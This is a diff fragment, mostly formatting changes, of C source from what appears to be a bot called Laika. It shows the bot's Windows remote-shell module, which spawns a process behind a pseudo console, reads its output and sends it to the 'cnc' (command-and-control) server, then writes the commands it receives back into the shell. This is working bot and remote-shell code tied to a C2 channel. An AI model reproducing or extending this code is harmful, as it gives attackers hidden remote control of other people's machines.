void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
{
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
/* kill process (it's ok if it fails) */
TerminateProcess(shell->procInfo.hProcess, 0);
@@ -99,8 +105,11 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
/* ====================================[[ Shell Handlers ]]===================================== */
/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) {
/* edited from
* https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols,
int rows)
{
COORD consoleSize = (COORD){.X = cols, .Y = rows};
HANDLE hPipePTYIn = INVALID_HANDLE_VALUE;
HANDLE hPipePTYOut = INVALID_HANDLE_VALUE;
@@ -108,11 +117,14 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
DWORD mode = PIPE_NOWAIT;
/* create the pipes to which the ConPTY will connect */
if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) || !CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) ||
!CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
return HRESULT_FROM_WIN32(GetLastError());
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much easier so it fits in nicely with
the rest of the laika codebase (https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate) */
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much
easier so it fits in nicely with the rest of the laika codebase
(https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate)
*/
if (!SetNamedPipeHandleState(*phPipeIn, &mode, NULL, NULL))
return HRESULT_FROM_WIN32(GetLastError());
@@ -127,8 +139,10 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
return hr;
}
/* also edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC) {
/* also edited from
* https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC)
{
HRESULT hr = E_UNEXPECTED;
if (pStartupInfo) {
@@ -140,19 +154,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
pStartupInfo->lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)laikaM_malloc(attrListSize);
/* Initialize thread attribute list */
if (pStartupInfo->lpAttributeList
&& InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)){
if (pStartupInfo->lpAttributeList &&
InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)) {
/* Set Pseudo Console attribute */
hr = UpdateProcThreadAttribute(
pStartupInfo->lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE,
hPC,
sizeof(HPCON),
NULL,
NULL)
? S_OK : HRESULT_FROM_WIN32(GetLastError());
hr = UpdateProcThreadAttribute(pStartupInfo->lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, hPC, sizeof(HPCON),
NULL, NULL)
? S_OK
: HRESULT_FROM_WIN32(GetLastError());
} else {
hr = HRESULT_FROM_WIN32(GetLastError());
}
@@ -161,13 +171,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
return hr;
}
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
struct sLaika_peer* peer = bot->peer;
struct sLaika_socket* sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
{
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)];
struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
DWORD rd;
bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &rd, NULL);
bool readSucc =
ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t), &rd, NULL);
if (readSucc) {
/* we read some input! send to cnc */
@@ -176,7 +188,8 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
laikaS_write(sock, readBuf, rd);
laikaS_endVarPacket(peer);
} else {
if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
if (GetLastError() == ERROR_NO_DATA &&
WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
return true; /* recoverable, process is still alive */
/* unrecoverable error */
laikaB_freeShell(bot, _shell);
@@ -186,16 +199,18 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
return true;
}
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
struct sLaika_peer* peer = bot->peer;
struct sLaika_socket* sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf,
size_t length)
{
struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
size_t nLeft;
DWORD nWritten;
nLeft = length;
while (nLeft > 0) {
if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) {
if (!WriteFile(shell->out, (void *)buf, length, &nWritten, NULL)) {
/* unrecoverable error */
laikaB_freeShell(bot, _shell);
return false;